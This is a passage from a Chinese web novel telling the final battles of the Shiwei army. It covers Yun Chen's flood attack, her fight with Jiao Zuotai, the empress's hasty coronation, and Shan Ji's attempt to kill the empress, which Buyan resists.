这时,闻声前来支援的黑鳞骑兵们涌进帐篷,呐喊着杀来。
危机关头,云琛抱起两具稻草人,硬生生用蛮力破窗而去,飞逃百丈,一头扎进最近的河道。
黑鳞骑兵们追击的脚步停止在河边。
一人问:“将军,追不追?”
焦左泰没有说话,直到云琛的身影彻底消失在视线中,他才缓缓开口:
“不必。传令下去,全军整队,趁‘云老虎’不在的良机,杀尽狮威军!”
……
……
两天后,吞云兽在几十里外的河道岸边,发现了奄奄一息的云琛。
她浑身青紫僵硬,看起来像**一般。
要换作旁人,这会已经在琢磨怎么给云琛收尸了。
但吞云兽可不管这些。
它固执地认为云琛还活着,咬着云琛的衣角,一点点将她从水里拖出来。
在云琛离水的瞬间,吞云兽看见两具人皮稻草人离开她身下,开始缓缓下沉,像是坚持在这冰寒的河水里托举了三天三夜,此刻终于走到尽头。
吞云兽不懂什么是人皮稻草人,只知道那两个“人”救了云琛,它就一定要救他们,便又将头伸进水中,将其拖上岸。
而后,吞云兽低低轻啼,反复用头拱云琛的身子,迫使她来回翻滚,将胸腔里的水吐出来。
昏昏沉沉中,云琛仿佛听见那浑厚、苍老,还带着点局促的声音呼唤她:
“琛儿,琛儿,爹一直都为你骄傲。”
云琛身子一颤,缓缓睁开眼睛。
她努力翻身爬起,正见几十里外火光冲天,黑鳞骑兵的大旗如山林涌动,已占据整个狮威军营地。
……
……
一幕幕惨烈在狮威军不断上演。
相比之下,广原城里一派太平。
因为南璃君被寻回,东宫的侍卫、宫人们都神态轻松,成天有说有笑的,看在不言眼里,像极了一群无知无脑的聒噪蠢鸭子。
不言成
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日护卫在南璃君身边,所有战报送来后,南璃君看完,都会毫不避嫌地递给他再看。
所以他清楚地知道狮威军的每一场战役,知道狮威军节节败退,伤亡惨烈,也知道他的少主和好兄弟们都还活着。
他每天都盼望着战报,却又害怕听到战报。
直到三日前,战报突然中断。不言预感事态不妙。
南璃君也有点慌。宫人们也不再说笑谈天,广原城里开始兴起“黑鳞骑兵趁夜偷袭,狮威军全军覆没”的流言。
又三日,流言已传得满城风雨,而狮威军依旧杳无音讯时,不言再也坐不住了。
他“扑通”一声跪倒在南璃君面前:
“殿下!草民请战!请殿下允许我前去寻狮威军!!”
南璃君蹙眉看着他,“我知道你忧心,可不言,你走了,我怎么办呢?”
不言犹豫了,下一刻却更加坚定,重重在地上磕了个头,再抬起时,声音已哽咽难言:
“殿下恕罪……草民,一定要去!”
他必须要亲自去寻一寻狮威军,生也好,死也罢,他的少主和兄弟们,他必须要亲眼看看!
若他们活着,就与他们同战!若他们**,他背也要将他们背回来!
南璃君看出不言的坚决,她知道眼前这男人将霍帮当作家,将兄弟看得比自己的性命还重。
就算她下死令不许他去,只怕他还是会不顾一切离开广原城。
到那时候,她与不言的情分就都要断了。
她不想功亏一篑,沉思片刻,正要点头答应时,却有宫人高声大喊着“来战报了!来战报了!!”一路跑进来。
不言顿时精神一振,完全将规矩抛在脑后,战报还没送到南璃君手里,就催促着宫人赶快打开。
在南璃君眼神同意下,宫人慌忙打开急报,一目十行扫过去,来不及细念,惊讶道:
“狮威军遭遇敌军偷袭,全军遭受重创!霍将军请求后撤三百里,退守幽州!军队已拔营撤离,正向广原城而来!”
南璃君大惊失色,“霍乾念怎敢?!本殿还在广原城!他怎敢引战至此?”
说完,她立马意识到这话不该当着不言的面说,赶紧捶胸顿足悲道:
“一定是实在抵挡不住了,才必须要后退,我不怪他们……”
不言根本没听到南璃君说了些什么,他整个人都像一团乱麻似的,既震惊又恐惧,既盼着霍乾念和云琛他们回来,又担忧战况得多糟糕,才能让从不说放弃的霍乾念举兵后撤。
从幽州外退守回幽州,意味着就快要失守,楠国危矣!
想到这里,不言突然就平静了。
如果幽州真的守不住,楠国要没了,那么所有人都将沦为黑鳞骑兵和洛疆头曼军队的刀下亡魂。
既如此,生死都与兄弟们在一起,何所畏惧?
不言的心一点点静下来,他甚至盼着下一个死的就是自己,可转而看到那双惶恐的目光,他又开始犹豫:
若所有人都**,谁来护着南璃君呢?
楠国的储君,这国最后的象征与希望。只要她还在,就终有复国的一天。
否则,楠国也许真要永远消失于历史长河了。
第384章 残兵败将
七天后,在遍地女人们心碎的哭声中,狮威军和北伐军带着仅剩的四万人马、无数战死将士和民兵们的遗体,拖着沉重的脚步,走进幽州,行向广原城。
不言率留守部队在城门前迎接,就像他一个月前送走云琛那样,笔直地跨立在马上,等着迎接所有人。
他不是没想过那惨烈,最后一封战报,已令他做足了心理准备。
可当他亲眼看着所有人走近时,却浑身一麻,几乎要从马上摔下来。
霍乾念走在队伍最前,铠甲破损,胡子拉碴,头发也凌乱得很,是不言在他身边十几年都没有见过的颓败和疲惫。
云琛在他旁边并行,脸色蜡黄,满目倦色。
她骑在吞云兽背上晃晃悠悠,身上的衣服看起来比旁人都要厚,是铠甲之下还裹了许多草药布巾的缘故。
再后面,荣易趴在马上,已没有力气牵马,他一条腿的裤腿高高卷起,露出一大片火烧的红色痕迹,脚上套着铁夹板,脚腕以非人的姿态向外曲折;
罗东东左袖空荡荡的,用仅剩的右手牵着马,脸上有一道贯穿额头到下巴的新鲜疤痕。
再后面,叶峮垂首骑在马上。
他一头青丝尽成枯白,整个人像被抽走了生气一样,宛如行尸走肉。
将领们尚且如此,更不要说将士们。
远远望去,残兵败将,铠甲尽破。
将士们满身血污,缺胳膊少腿的不在少数,更有甚者双腿全截,只能靠战友背着往前走。
一种铺天盖地的绝望压过来。
城门前,围观的广原城老百姓都已哭得泣不成声。
不言紧紧抿着嘴,用力挺起胸脯,强忍着没有哭,却每隔一会儿,就要抬手狠狠地擦一下眼睛,才能看清逐渐向他走近的云琛。
“不言哥,刀彩还你。”云琛将凝着厚厚血痂的刀彩递来。
不言也赶紧解下南珠剑穗还给她,然后赶紧问她身体如何,却发现她回答得稀里糊涂,牛头不对马嘴。
见瞒不过去,云琛不好意思地笑笑,用手指了指耳朵:
“去暗杀焦左泰的时候,中了那厮的陷阱,被他双掌贯耳,有点听不见了。”
不言呆了片刻,终于再也绷不住情绪,抱住云琛嚎啕大哭。
……
……
战争一视同仁地摧毁万物,它从来不缔造英雄。
黑鳞骑兵偷袭狮威军这一战,打了三天三夜。
云琛几乎是前脚刚被吞云兽从水里捞出来,后脚就边呕水边加入战斗。
四万残兵撤至幽州,对面是兵强马壮的百万敌军。
没人知道接下来该怎么打,只知道国将不国,这四万将士即将全部战死,却仍阻挡不了楠国这巨船沉没的那一刻。
决战在即,霍乾念将最后的战术部署呈给南璃君,意图以南璃君为饵,诱敌深入,分散逐一击破。
若成,就还有逆风翻盘的希望;
若败,南璃君也许将比所有人都先死。
对着这样一份很可能要了自己性命的部署图,南璃君沉默了许久,而后淡然一笑,道:
“好,霍将军。就让我们再同生共死一回吧。”
霍乾念颇为惊讶。
他没想到南璃君竟然答应得这么轻松。
自从王庭被俘后回来,南璃君就好像变了一个人似的。
她不再像从前那样慌张失措,任由别人牵着鼻子走。
她开始有点像个冷静、决绝又果断的王。
一刻钟之后,霍乾念开始全力投入战前部署,将唯剩的四万人马统一收编为狮威军。
云琛等各个将领分别领下艰险任务,只有不言什么也没被分配。
他着急去找霍乾念,后者却忙得无暇分身,叫他根本插不上话,他只能又转头去找云琛。
彼时,云琛正与叶峮一起,在云家的墓园里挖墓坑。
叶峮将装着妻儿的三具棺材埋起来,云琛则将两具人皮稻草人一点点掏空,盖上雷霆云纹的铠甲。
不言这才知道,那两具人皮稻草人竟然就是霍雷霆和云中君。
在云琛趁夜去暗杀焦左泰的时候,焦左泰那畜生竟将这样两具遗体摆在榻上,充作伪装。
瞧着稻草人咽喉处干净利索的挑杀创口,不言简直不敢想象,当云琛发现自己刺中的不是焦左泰,竟然是自己父亲遗体的时候,她该有多痛苦。
幸而父爱在天有灵,云琛逃走的时候,拼死抢夺下两位父亲的遗体,也因此在昏迷坠入冰河时没有沉没。
而是由两位父亲一路“托举”着,沿河道漂回了狮威军营地附近。
看着云琛忙碌的样子,不言张不开口,倒是一旁的叶峮看得分明,走过来,拍拍不言肩膀。
“你就留在公主身边护卫吧,护卫储君,战杀敌军,都是一样为国效忠。”
叶峮说话的声音没什么力气,眼皮红肿,眼睑青黑,像是多日没有吃过东西睡过觉。
不言难受地搀住叶峮,“叶哥,我帮你挖土吧,你去睡一会儿!我看你都快站不住了!”
叶峮摇摇头,“不了,我睡不着,一闭上眼睛……”
他没办法再说下去,但不言明白。
一闭上眼睛,脑海里就是妻子和一双儿女被吊死的模样。
不言忍不住又开始掉眼泪,叶峮反而还安慰起他:
“没事,反正决战快来了,我很快就能去下面和那娘仨作伴了。唯一的遗憾是对不起阿琛……射穿焦左泰耳朵的是我,该去报仇……该掉入陷阱的也是我啊……”
叶峮小声说着,愧疚地看向云琛。
他知道云琛重兄弟如亲人,根本没想过什么“该
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不该”,他欠云琛的,下辈子还吧。
想到这里,叶峮释然许多,拢了拢苍白的头发,再次挥铲,将土一铲一铲地盖在三具棺材上面。
不言擦擦眼泪,空着手站在当中,向左看看云琛,又向右看看叶峮,最后他注意到一旁还有具棺材放在地上没有掩埋,便赶紧挥起铁锹,开始挖墓坑。
他连比划带大声地问:“阿琛,这是谁?为什么……也葬在你家的墓园里?”
云琛挥锹不停,回答:
“是丹蔻。”
不言惊讶,“我记得她,是红坊小巷的姑娘,你之前说过,黑鳞骑兵攻陷烟城时,她被抓去当**,后来**了,怎么现在才……”
云琛慢慢停下手里的动作。
她回想起十几天前最后见到丹蔻时,那时候,她正在一处村落休整骑兵队。
一辆牛车与骑兵队擦肩而过。
“云护卫。”
牛车上的姑娘这样叫了一声。
很久没听到过这个称呼,这是旧相识才知道的护卫往事。
云琛惊讶地看过去,竟然是丹蔻。
她飞奔过去再三确认,这才得知,当初在黑鳞骑兵营地时,丹蔻一双小臂被斩断之后,焦左泰竟意外地没有要丹蔻的性命,而让她又继续在**营待了一年。
一年之后,在义军攻打黑鳞骑兵营地的一场战役中,丹蔻趁乱逃出,兜兜转转躲避战祸,在黑鳞骑兵攻破东南防线后,才躲到幽州附近来。
再见丹蔻,云琛惊喜之余,只觉得愧悔难当,丹蔻却笑着说:
“是焦左泰耍了我们。就算再给我一百次机会,我还是会做同样的选择。云护卫,我从不后悔,你不必自责。”
说罢,丹蔻示意牛车继续前进,只留云琛还站在原地心潮涌动,无法平息。
“丹蔻姑娘,你不是躲避战祸吗,怎么往东去?东部已被敌军全部占领,你往北去,去幽州广原城云家找张久之,报我的姓名,今后我养你!”
丹蔻眉眼弯弯,轻轻提起粗布裙摆,露出一截布满红斑的脚踝,笑道:
“不啦,云护卫,你去杀黑鳞骑兵,我也去!咱俩比比谁杀的更多吧,哈哈哈——”
云琛讲完这些,四周安静下来。
不言没有说话,叶峮也静静地望着三座新坟。
他们都知道,乱世之下,身怀武艺的男子尚且艰难,一个双臂残断无亲无故的姑娘要想活下去,不知得受多少罪。
且黑鳞骑兵发现丹蔻得了花柳病并传染了许多士兵后,只怕不会给这可怜的姑娘什么好下场。
这棺材里的情景,大约是惨不忍睹的。
不言兀自猜测着,却听云琛道:
“丹蔻坐着牛车走的那天,晚霞漂亮极了,照在她的身上,就像披了件七彩仙衣似的,真的好美。”
第385章 决战
四月二十四,狮威军向幽州发起最后一轮征兵,不论男女,不限年龄。
很快,云琛开始在队伍中看见女人、老人、读书郎……还有娃娃兵。
对着新兵名单,她甚至不知道该怎么编制。
全是毫无作战经验的普通老百姓,许多女子一辈子都没怎么迈出过闺房的门,置身在乌泱泱的队列里,显得颇为局促。
“云将军,有护手吗?这个刀拿着好滑。”一个女将士连大声带比划地问。
云琛走过去,将一截布缠绕在刀柄上,又扯下一块细缎挂在上面作刀彩。
女将士不好意思地红了脸,“谢谢将军,倒不必这么好看。”
云琛愣了一下才反应过来,女将士以为这刀彩是用来装饰的。
她一时语塞,不知该怎么解释这刀彩的真正作用。
转而看到周围的新兵女将士们都好奇地看过来,想到只要她多教一点,也许这群姑娘就能多活一点,便道:
“刀彩不能少,杀敌的时候,血会顺着刀刃倒流,从刀彩上流下去,就不容易打滑。”
她说完,四周一下安静了。
她不敢去看姑娘们的表情,只能低头匆匆离开,迎面却又撞上一个娃娃兵仰着头问荣易:
“荣将军,你几岁呀?”
“二十七。”
“好厉害哦,二十七就做将军了。”
“这有什么,我们老大二十二当的将军。”
“那等我二十二岁,我也要当将军!”
可是,能活到二十二岁吗?还有机会吗?
荣易看着眼前刚和战刀一样高的孩子,不忍地别过头。
到处都是这样的场景。
云琛心里压抑难受到极点,竟突然蹦出一个疯狂又荒诞的念头:
既不知黑鳞骑兵是哪国的兵,要不,就将这世上所有君主都杀了!包括南璃君!这天下也许就安宁了……
她被这想法吓了一跳,觉得自己着实幼稚可笑。
天下何其大,人对于权力的欲望无穷无尽。
杀几个君主又能怎样,只要那皇位宝座在,战争与搏杀就永远不会停止。
那,何不摧毁那宝座?
脑子里全是各种各样乱七八糟的想法,云琛使劲摇摇头,努力清空杂念,她觉得自己是太紧张了。
……
……
四月二十五,幽州广原城的一处民宅院落里,举行了简易的祈福告天仪式,南璃君仓促登基为帝,颁布诏书:
追封霍雷霆为尽忠武烈大将军,云中君为武安明烈大将军。
对所有战死的将士皆晋升三级,甚至还追封了丹蔻为忠勇护国女将军。
而后,皇帝南璃君亲笔写下:
晋霍乾念为镇国公,封狮威远征天策大将军;
晋云琛为伯爵位,封虎威抚远骠骑大将军;
晋段捷北伐上将,晋荣易飞骑中将,晋罗东东留行少将,晋伏霖节义少将……
老将士晋升两级,新将士晋升一级。
凡晋升者,皆按品级加赐金银。
几乎所有人都得到了晋封。
霍乾念与云琛等久经沙场的老将,都明白这战前加封以及南璃君仓促登基的意义。
那轻飘飘的诏书,金灿灿的银两,大大激励了所有人的勇气和信心,也如催命符一般,鼓舞着每个人去战斗与牺牲。
……
……
四月二十六,花翎醒狮的狮威旗烈烈向北,赤目虎头的虎威旗飒飒往东。
霍乾念与云琛兵分两路,带领四万将士、四万民兵,在响彻天际的号角声中,冲向决战的战场。
北边战场,霍乾念一方面佯装不敌,命不言护御驾转移至香消崖,同时令段捷和荣易携主力且战且退,引敌军主力横渡洛子水追击之;
另一方面与前来支援的一万西北边防军取得联系,令其偷袭洛疆王庭。
东边战场,云琛令伏霖领主力与黑鳞骑兵正面作战,她则率骑兵军悄悄潜入白头山。
云琛再次爬上山腰,来到灯庙前。
望着山脚下黑压压的军队,老者笑道:
“小妮子,又来了?”
云琛点点头,“前辈,我要点一盏这世上最大的灯火,请您允许!”
老者仰天长笑,“为何不许?这白头山又不是我的,天生地长的家伙,人人都来得。”
既得允许,云琛立即命人护送老者下山。
老者并不领这好意,只是笑着摆手,轻功飘摇于雪面,绝尘而去,唯剩他渐行渐远的声音回荡在空中:
“小妮子,还
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没问你,新剑取的什么名?”
云琛拔剑直指雪山峰顶,肃然道:
“剑名‘太平’!”
伴着云琛话音落下,白头山燃起熊熊大火。
火光冲天如炬,将白雪烧融成水,很快便汇合成滚滚河流,顺着已干涸数十年的幽冥河道,流进洛子水。
云琛策马立在逐渐湍急的冰雪河流中,灼天的火光映在她坚毅的脸上。
这时,不远处传来“轰隆”一声巨响,巨大的雪块从山峰上坠落,激起高高的水花。
四月本就天暖,再加上这把火,足以生出吞噬万物的洪水。
很快,河面开始升高,刺骨的雪水**成汹涌波涛,开始沿河道疯狂而下。
云琛与众将士立刻留下马匹,跳上霍帮的冲锋铁木船,向敌军正横渡洛子水的主力军杀去。
按原计划,她率骑兵军沿河道进攻,另留三千骑兵领战马于岸边随行。
待她与敌军交战时,战马随后赶来支援,众将士弃船上岸,可以重创敌军。
只是云琛万万没有想到,在她跳上船后,吞云兽完全不顾洪水已涨到马小腿,有多危险,后面的骑兵如何追赶它,竟一骑绝尘在马群最前,沿河道狂奔不止,嘶鸣不断,迟迟不肯离开。
眼见水流越来越急,已经淹到马腿中部,云琛着急大喊:
“听话!回岸上去!我在前面等你!”
吞云兽显然犟脾气又上来了,完全不听云琛指令,仍在追赶。
一个将士从旁建议道:“将军!你喊它名字试试!可能它都不知道你是在对它发指令,马儿的名字都是主人给的,你喊它名字,它会听的!”
可云琛从来没有给吞云兽起过名字,眼下情况这么紧急,她也想不出什么名字来!
她急得简直想跳脚,再加上水急船晃,她更上火。
忽然,她目光落在腰间的“太平”剑上,一个全新的名字从心底冒出来。
她用尽力气朝吞云兽大喊:
“‘无恙’——你叫‘无恙’——好孩子——回去——”
吞云兽慢慢停下脚步,在急流中扬起前蹄,向空蹄鸣,像是终于得到云琛的认可,为拥有自己的名字高兴。
愿山河无恙。
愿天下太平。
第386章 九个字
白头山的积雪渐渐融化,燃起擎天的火炬,将滔滔洪水送进洛子水。
好似替这末日楠国嘶吼着天道不公,将洛疆五十万主力大军和十万黑鳞骑兵冲得七零八落,溃不成军。
云琛等驾驶坚不可摧的冲锋铁木船,乘滔天白浪杀进敌军,太平剑所指之处血溅三尺。
这两方联合的敌军阵营,本就以洛疆为主力。
洛疆人在草原上骁勇善战,但许多人一辈子连船都没坐过,更不要说水战。
将士们不会游泳,被洪水一冲,本就惊恐,再远远望去,洛疆和黑鳞骑兵的旗帜已被砍倒,赤目虎头的虎威大旗插了上去,直接让向来勇猛的洛疆将士彻底慌神,一个个被虎威军拖进水里,很快没了动静。
这时,远处的山峰上突然传来响亮的熊吼之号,洛疆将士们几乎全呆住了,接着立刻笨拙地驾船靠岸,没命地向号声传来的方向奔去。
顷刻间,洛疆将士们仗也不打了,边跑边互相大喊:
“是熊吼之号!是熊顿单于!他没有死!”
“伟大的单于不会死!单于还活着!”
“我不要听头曼的!我们是单于的勇士!不是头曼的!”
“走!去找单于!!”
眼见主力军要么被洪水打散,要么死的死,跑得跑,只剩为数不多的亲兵还留着,头曼大急,咬牙发狠,朝云琛杀过去。
云琛迎面而上,三两回合将头曼砍倒,一脚踢飞他手中战刀,冷冷问:
“颜十九的尸体呢,在哪里?!”
头曼愣了一下,哈哈大笑起来,边暗中起身后退,边讥讽道:
“尸体?哈哈,他怎么舍得——”
头曼话未说完,一把战刀从他身后贯穿心脏,叫他再也张不开口。
随着头曼缓缓倒下,一身黑鳞铠甲的焦左泰出现在云琛的视线里。
这“狗咬狗”杀同盟的一幕,让云琛十分惊讶。
因着是白天,不似前几日刺杀时夜黑看不清,云琛清晰地看清焦左泰的脸,敏锐地察觉他有些不对劲。
人们对于对手的了解,有时胜于对自己。
这些年仇恨纠缠,对战无数回,云琛已相当了解焦左泰。
什么时候见他,都是一副阴狠毒辣的恶将模样。
可眼下他却不似往日气焰嚣张,明明一直在打胜仗,焦左泰的身上却透出一股浓重的乏力感。
焦左泰不紧不慢地走上前,从头曼的尸体上抽出刀,骂了句“蠢货”,而后问云琛:
“‘熊吼之号’,这招很绝,霍乾念的谋算吧?他的攻心之计永远这么厉害。”
四周全是洪水冲击船只的声音、将士们的厮杀声,这让本就听觉受损的云琛,如彻底失聪一般。
焦左泰说了什么,她根本听不见,也没兴趣回答。
焦左泰自嘲一笑,说句“我忘了,你这会应该听不见,都怪我”,结果话还没说完,云琛已拔剑杀了过去。
仇人相见,分外眼红。
新仇叠着旧恨,家国私怨二者皆有,云琛的恨意全在这一刻爆发。
她一剑接一剑地杀过去,招招直攻焦左泰命脉。
焦左泰一边挥刀抵挡,一边开始自言自语似的轻声说话:
“云琛,你很累吧,快到极限了吧……我也是。”
这时,云琛一记飞腿将焦左泰踹倒,接着又立刻从甲板弹射回杀,他匆忙举刀抵挡,又道:
“**,**,**掳掠,无恶不作……云琛,你知道吗?最小的孩子只有五岁,比我的女儿还小……”
云琛专注对战,将焦左泰逼进一处死角,眼见他无处可逃,她直接甩下太平剑,抽出贴身**,向他攻杀而去。
迎着她充满恨意的**,焦左泰表情平静又淡然。
他像是已千百次地在心里预想过这结局,表情甚至像期待这一刻。
“云琛,你是这世上最干净的人。我只想死在你手里。”
焦左泰这样说,声音淹没在四周的嘈杂中。
从云琛的角度,她从头到尾都没听清焦左泰在念叨什么,只看见他的嘴巴张张合合,神情十分不寻常,她猜可能是在骂她。
两招之后,她终于狠狠一刀捅进焦左泰的肚子。
她攥住**用力搅动,后者痛苦地皱起眉头,再次开口:
“云琛,我必须足够恶,‘狼王’才不会将目光越过我,盯在我的女儿身上……我的女儿才能活下去,你懂吗……”
云琛根本听不见,抽出**快速再捅,一刀,两刀,三刀……
她睁着发红的眼睛,疯了一样地朝焦左泰捅着。
不知捅了多少刀,到最后**上全是血,缠绕刀柄的布条都被血浸透,滑得她根本握不住。
焦左泰完全没有反抗和挣扎,他疼得脸色惨白,死死抓住云琛的肩膀,又忽然掐住她的脖颈,强迫她看向自己,无声地用口型对她说了
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一句话。
这句话很短,九个字,云琛全都看懂了。
接着云琛便愣在原地,停下了捅刀的动作。
只这么一瞬间的愣神,周围突然冒出几十个暗卫朝她杀过来,动作凌厉凶狠,逼得她连连后退,而后一把捞起焦左泰飞逃而去。
陌生的暗卫们拖着焦左泰边杀边逃。
焦左泰的脸始终冲着云琛的方向,他浑身是血,看起来就像一条没有生气的绝望死狗。
与此同时,另一边,广原城外。
不言在前驾着马车,一众无义血卫从旁策马相护,山寂和两个无义血卫站在车尾高度警戒。
一行人护卫着南璃君,向香消崖方向奔去。
山寂自白头山接到霍阾玉后,就一直在幽州待着,此番受霍乾念拜托,前来增援。
很快,如霍乾念预计的一般,敌军的追击小队摸了过来,开始向马车发起进攻。
只要抓住南璃君,就等于攥住楠国的命脉,这持续了三年的混战也许将彻底结束,因此,敌军死死咬住南璃君一行,一边趁乱放箭,一边渐渐四散成包抄之势。
不言与山寂等在马车上边战边行。
随着山寂一声令下,众无义血卫犹如离弦之箭般飞出,片刻后陆续归来,周围再也听不到一个敌军的声音。
南璃君从车窗缝隙看过去,无义血卫们神情自若,没有一丝慌乱模样,不仅人数一个不少,而且无一人受伤。
此等心智与武力,着实令人惊叹。
南璃君看向离她最近的那个无义血卫,称赞道:
“你们很厉害,比朕最顶尖的御前侍卫还要厉害。”
那无义血卫听了不过扯嘴一笑,好似对于南璃君这夸奖,更多的是觉得可笑。
无义血卫叱咤江湖这么多年,阎王殿里来去如进出家门。
上到皇帝老儿,下到外邦王爷,什么极度危险的人没杀过?眼下叫他们来当护卫,真是有种抡起大刀切土豆丝的感觉。
但笑完,无义血卫又意识到,眼前这瓷娃娃一样漂亮的女人,正是当今的楠国皇帝,他们无义血卫的老巢从昭国搬到楠国,以后少不得仰仗皇帝宽容,便又笑道:
“皇上过誉了,论厉害嘛,还是您的侍卫更厉害。侍卫讲究忠心耿耿从一而终,我们嘛,最多能从‘一’而终一个晚上,还得是贼软的姑娘才行。”
话音落下,四周的无义血卫们都哈哈笑起。
第387章 没有如果
听着无义血卫们嘲弄又带点下流的笑声,南璃君的脸上有一瞬的尴尬和阴沉,转而又平静地放下车帘,当作什么事也没发生。
不言在车前驾马,略显担忧地回头看了一眼,又皱眉望向山寂。
山寂会意,立刻对无义血卫们“呵斥”道:
“怎么敢对皇上不敬?专心办差!怎么的,皇上没给钱吗?”
一个无义血卫笑道:“掌门你忘了,没给啊,是霍帮给的。”
山寂“哦”了一声,没有再说话,无义血卫们笑得更大声了。
不言紧紧皱眉。
他知道这群无义血卫根本不把南璃君这个匆忙登基的什么皇帝放在眼里,所以敢对着她开荤玩笑,还敢用语言讥讽她得靠霍乾念才有活路逃命。
无义血卫的眼中没有什么权谋皇位,对他们来说,杀死南璃君就像碾死一只蚂蚁那样容易。
他们的嚣张和不屑,是从心底对南璃君的瞧不起。
不言暗自叹气,他了解南璃君,这件事一定会成为她心头的一根刺。
但他不知该为南璃君忧心,还是更为无义血卫的未来担心些。
两个时辰后,马车顺利抵达香消崖,敌军的追击队伍再次跟上来,却围在香消崖外徘徊,不敢贸然行动。
香消崖,这诸国约定过的绝对不可起战的太平之地,谁也不敢先来打破这个盟约。
只是不知敌军能坚持多久不攻进来,毕竟南璃君近在咫尺,“楠国皇帝”这块肥肉唾手可得,放弃实在可惜,只怕今后再也没有这样绝好的机会。
趁敌军还在犹豫商讨的空档,不言将南璃君从马车上扶下来休息。
一路的剧烈颠簸让南璃君头晕眼花,只能倚靠在不言身上缓歇。
不言将水囊里的水倒出一点,浸湿帕子,为南璃君轻轻擦拭额头,试图缓解她的不适。
“皇上,您受委屈了,实在是路程艰险,没法带宫人伺候。”
南璃君轻轻摇头,目光从几个对着她和不言笑得别有意味的无义血卫身上打量过,而后将看向山寂:
“按霍乾念的计划,你们护送朕到香消崖,以朕为诱饵,引敌军包围杀进来,逼诸国出兵讨伐其破坏盟约之责。只是不知要在这里等多久,辛苦你们了,山寂掌门。”
山寂听懂南璃君话语里的意思。
她是想说,保不齐得在这里熬上七八天,无义血卫们为何不赶紧扎帐篷准备过夜?
山寂用眼神示意无义血卫们四散开,去周围巡逻警戒。
等只剩南璃君和不言的时候,山寂面无表情地看着南璃君,一双眼睛如鹰犀利。
“为什么要杀云琛?”
南璃君愣了一下,立刻转头看向不言,后者纠结地垂下头,不知该怎么解释,只能说:
“那天,云琛昏迷时,身边有一个无义血卫在……”
南璃君了然地点点头,目光真诚地看向山寂,眉头微蹙,两分楚楚之态浮现在绝美的容颜上。她说:
“我已对不言剖白,真的不是我要杀云琛。她是我楠国功将,我倚仗她还来不及,怎会杀她?就算要杀,又怎会派贴身宫人去,岂不是害我自己?山寂掌门,我理解你的怀疑,但真的不是我。”
山寂冷笑一声,全无半点惜弱的样子,根本不吃这一套,直接掏出**,向南璃君走去:
“在我这儿,从来没有‘疑罪从无’,只有宁错杀,不放过,懂了吗?”
不言大惊失色,赶忙举刀护在南璃君身前:
“山寂大哥!你这是做什么?!”
山寂一脸轻蔑,“滚开。你是云琛的朋友,我不能杀你,但不代表我不能伤你。你若继续护着这个狼心狗肺的蠢皇帝,我便先卸了你两条胳膊,再杀她。”
不言顿时慌了。他深知自己不是无义血卫的对手,若真和山寂打起来,估计三招都打不过,但他还是强作镇定,厉声道:
“这是我楠国皇帝!你要**不成?你想过后果吗!如今正值内忧外患抵御外敌之际,国家生死存亡的时候!你怎能如此?”
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这话不说还好,一说,山寂更有火。
“呵,我当你们不知道这些呢。云琛在外拼死平活打了三年仗,是为了给哪个蠢货擦屁股?内忧外患谁搞的?生死存亡的时候,谁他妈冲在最前面?”
南璃君和不言全都沉默了,不等二人再说话,山寂用**指着不言,声音里已很不耐烦:
“我最后再说一遍,滚开。你要真当云琛是朋友,当初就应该连那宫人带这狗屁皇帝一块杀了,而不是将事情瞒下来,甚至没有告诉霍乾念。”
“我只是尚未来得及向少主禀告……”不言无奈叹息,“山寂大哥,请你相信皇上,她真的没理由杀云琛。你不能因为一点怀疑,就将整个国家的前途命运推进火坑。皇上若没了,楠国也就没了,百姓们也没法活了!”
“关我屁事!”山寂骂道,转而扯起嘴角,邪笑道:“既如此,那就连你带狗皇帝都杀了,云琛恨我也行。这样吧,我给你们一次机会,我数三个数,若跑得出这诸国不许起战的范围,我就饶你们一次。”
不言在心里骂了声娘!范围之外全是敌军,正在商量怎么抓南璃君呢,这让他们怎么跑!
往前是敌军,往内是铁了心要宁错杀不放过、坚持为云琛报仇的山寂,只要他一个口哨,无义血卫能瞬间将南璃君撕成碎片。
不言真恨自己不该将南璃君刺杀云琛的事瞒下来,如果早点告诉霍乾念,肯定就不会安排无义血卫护送南璃君,不会到眼下这个地步。
可若一早就禀告了霍乾念,只怕也是一场风雨。
抱着最后一点希望,不言劝道:
“山寂大哥,别的我不多说。我最后再说一句,如果云琛现在站在这里,以她的秉性,你觉得她会眼睁睁看着你杀皇上,还是拼死保护皇上?”
这个问题还真叫山寂愣了一下,看向不言的眼神多了几分赞赏,接着脸色黑沉下来,瞬间拔地杀来。
“在我这没有‘如果’,只有狗皇帝不死,云琛早晚都会死。”
第388章 墓道
三招过后,不言单膝跪在地上剧烈喘气,身上几十道刀伤全在流血,落在地上,发出滴滴答答的声音。
他吐出一大口血,看向毫发无伤的山寂。
他知道山寂顾忌他是云琛的朋友,才没有下死手,否则他这会已经死透了。
他根本不是山寂的对手。
南璃君也知道大事不妙,若不言**,下一个就是她。
可这香消崖除了两座坟,就只有一间茅草屋,没有任何地方可以躲藏。
看出南璃君的慌乱,不言强咽下喉中血,安慰她道:
“皇上放心,卑职誓死护您周全……”
山寂冷眼看着不言,没有嘲笑这不自量力的话,反而生出些敬佩,惋惜道:
“不言是吧?好汉子,可惜跟错了人。”
说罢,山寂再次挥刀杀去,这一次,他瞄准了不言的咽喉。
不言没有迎战,而是奋力向悬崖跑去,在山寂杀过来的一瞬间,他用胸口迎接一刀,然后死死抱住山寂,一同坠下悬崖。
两人瞬间消失在悬崖边,南璃君惊恐大叫一声“不言!”
见崖边半天没有动静,南璃君的神情慢慢平静下来,面无表情地朝崖边走去。
她正要伸头去看,却见一道血影跳上悬崖,山寂脸上受了点擦伤,一边抹了把脸,一边朝她邪魅笑笑:
“怎么,这么着急确认我们死没死?”
很显然,不言这招“同归于尽”没能奈何山寂。
南璃君不再惊慌,她知道眼前这男人软硬不吃,无论她装可怜还是用皇权压他,他都不会在意。
想到这里,南璃君将身子站得笔直,闭上眼睛道:
“你动手吧。”
感觉到山寂的刀锋扑过来却又戛然而止,南璃君睁开眼睛,只见浑身是血的不言又爬上悬崖,悄无声息地出现在山寂背后,手中战刀已深深贯穿山寂腹部。
山寂低头看了眼穿腹而过的刀刃,骂了句脏话,然后眉头都不皱一下地将刀**,对着已几乎站不稳的不言,不悦道:
“我这衣服很贵的。”
话音落下,山寂彻底发怒杀去。
不言立刻拉起南璃君向外围狂奔,心想这会就是落在敌人手里,也比落在山寂手里强!至少可以让南璃君多活些日子!
不言用尽毕生力气朝前飞奔,突然脚下一陷,接着便和南璃君双双下坠,陷入无边黑暗。
……
……
待不言和南璃君苏醒的时候,周围全是乱石和土块。
